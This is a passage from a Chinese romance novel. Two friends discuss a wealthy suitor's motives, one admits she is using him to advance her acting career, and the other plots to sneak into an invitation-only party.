向宁面露愧色:“我答应,都依你。” 简晓夜用力戳了戳她的脑门,才重新接上刚才的话题:“杜琮有个喜欢了很多年的白月光,一直没追到。最近他偶然得知白月光居然找了况星宸做男朋友,心里气不过,所以就设了个套,坑他一把。” “原来是这样。”和向宁的猜测方向大体一致,所谓白月光,应该就是祝璋了,“可是,既然他有喜欢的人,为什么还要追你啊……” “男人的劣根性咯,得不到白月光,就算再怎么喜欢,再怎么放不下执念,也不会为人家守身如玉的。” 简晓夜冷笑一声,继续说道:“更何况,他对白月光也未必真有多诚心。毕竟……表演自己的深情被辜负,本身就是一种吸引女孩的手段嘛。否则我们认识没多久,他又何必掏心掏肺说这么些话呢?” 向宁怎么会不明白这些道理,刚才之所以装出一副疑惑的样子,不过是为了循序渐进,一步步引导简晓夜看清杜琮的真实嘴脸。 可是现在看来,简晓夜早就对这一切心如明镜,并不像赵姐说的那样,被杜琮的皮囊和钱包冲昏了头。 “你都知道,还顺着他的圈套往下走?” 简晓夜沉默了许久,久到向宁紧皱的眉头开始发酸,她才压抑着哭腔开了口。 “宁宁,你说,我是不是就长了一张恶毒女配的脸?眉毛写着轻浮,眼睛写着虚荣,鼻子写着心机,嘴巴写着傲慢?” 向宁推一把她的肩膀:“胡说什么!” “这是导演的原话。哦,就是我正在拍的那部戏。”简晓夜自嘲地笑了笑,“他让我不要自视甚高,我这张脸,注定了一辈子都吃不上主角饭。” “你是想说,杜琮能在事业方面帮到你?”向宁持怀疑态度。 “刚认识的那天,他就已经帮了我不小的忙。”简晓夜睁大双眼朝天花板看去,她不想在朋友面前哭,“至于以后他愿意提供多少帮助,总要试一试才知道。” “晓夜……” “我知道你想说什么。”她握住向宁的手,希望她能安心,“赵姐总以为我心野了,上赶着要傍大款去。可你是懂我的,我不会做嫁入豪门的腌臜梦,也不会刻意避开送到眼前的跳板。说到底,各取所需的人,早就做好吃散伙饭的准备了。” “就算是找一块跳板,你也得让我把把关吧?”向宁抱住她的胳膊,软磨硬泡起来,“我不管,无论下次他要带你去哪,我肯定会想办法在现场‘偶遇’你们的!” “下一个活动啊,倒是不远,就在周五晚上。不过……你要是能混进去,我可真的要刮目相看了。” “什么了不得的活动?这么难混进去,监狱探监啊!” 简晓夜笑着呸了一声:“是他白月光办的一场酒会,规模不大,只有收到邀请函的人才能入场。” “喔……这样……” 向宁佯装失落,心里却已经开始盘算了——该找谁帮这个忙呢?枕安,还是况星宸? 枕安好说话,但是如果欠了他的人情,不知道该怎么还。 况星宸那边未必愿意帮忙,但是欠了他的人情,就算不还也不会有什么负罪感。 嗯…… 还真是艰难的抉择呢……